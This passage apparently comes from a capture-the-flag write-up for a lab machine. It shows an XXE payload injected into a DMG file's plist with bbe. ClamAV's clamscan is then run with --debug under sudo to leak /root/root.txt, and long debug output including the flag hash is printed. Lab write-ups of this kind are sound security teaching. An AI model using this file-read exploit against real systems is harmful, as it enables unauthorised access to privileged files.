_laurel:x:999:998::/var/log/laurel:/bin/false

LibClamAV debug: cli_scandmg: wanted blkx, text value is cSum
LibClamAV debug: cli_scandmg: wanted blkx, text value is nsiz
LibClamAV debug: cli_scandmg: wanted blkx, text value is plst
<SNIP>
Now I reuse the same dmg, swap the XXE payload to point at the root flag, and run it under sudo.
Bash
[Oct 12, 2026 - 21:20:06 (CET)] exegol-htb2 temp # bbe -e 's|<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">|<!DOCTYPE plist [<!ENTITY xxe SYSTEM "/root/root.txt"> ]>|' -e 's/blkx/&xxe\;/' test.dmg -o exploit3.dmg

Upload it, run it with sudo, and the flag falls right out of the debug output.
Bash
sbrown@snoopy:~/scanfiles$ sudo /usr/local/bin/clamscan  --debug /home/sbrown/scanfiles/exploit3.dmg  > out
LibClamAV debug: searching for unrar, user-searchpath: /usr/local/lib
LibClamAV debug: unrar support loaded from /usr/local/lib/libclamunrar_iface.so.11.0.0
LibClamAV debug: Initialized 1.0.0 engine
<SNIP>
LibClamAV debug: in cli_scanscript()
LibClamAV debug: matcher_run: performing regex matching on full map: 0+25036(25036) >= 25036
LibClamAV debug: matcher_run: performing regex matching on full map: 0+25036(25036) >= 25036
LibClamAV debug: hashtab: Freeing hashset, elements: 0, capacity: 0
LibClamAV debug: hashtab: Freeing hashset, elements: 0, capacity: 0
LibClamAV debug: Descriptor[3]: Continuing after file scan resulted with: No viruses detected
LibClamAV debug: cli_magic_scan: returning 0  at line 4997
LibClamAV debug: clean_cache_add: 5507b80f1f10b490535c244b5a438739 (level 0)
LibClamAV debug: cli_scandmg: wanted blkx, text value is 622dfd880f0b35281f132aa39f1c44a5 -------  root flag ( root.txt )

LibClamAV debug: cli_scandmg: wanted blkx, text value is cSum
LibClamAV debug: cli_scandmg: wanted blkx, text value is nsiz
LibClamAV debug: cli_scandmg: wanted blkx, text value is plst
LibClamAV debug: Descriptor[3]: Continuing after file scan resulted with: No viruses detected
LibClamAV debug: in cli_scanscript()
LibClamAV debug: cli_scanscript: exiting (file larger than MaxScriptSize)
LibClamAV debug: hashtab: Freeing hashset, elements: 0, capacity: 0
LibClamAV debug: Descriptor[3]: Continuing after file scan resulted with: No viruses detected
LibClamAV debug: cli_magic_scan: returning 0  at line 4997
LibClamAV debug: clean_cache_add: 7833ab7c9577b7713b3752d29c4549a1 (level 0)
LibClamAV debug: Descriptor[3]: Continuing after file scan resulted with: No viruses detected
LibClamAV debug: Cleaning up phishcheck
LibClamAV debug: Freeing phishcheck struct
LibClamAV debug: Phishcheck cleaned up

Happy pwning :')
§ Contents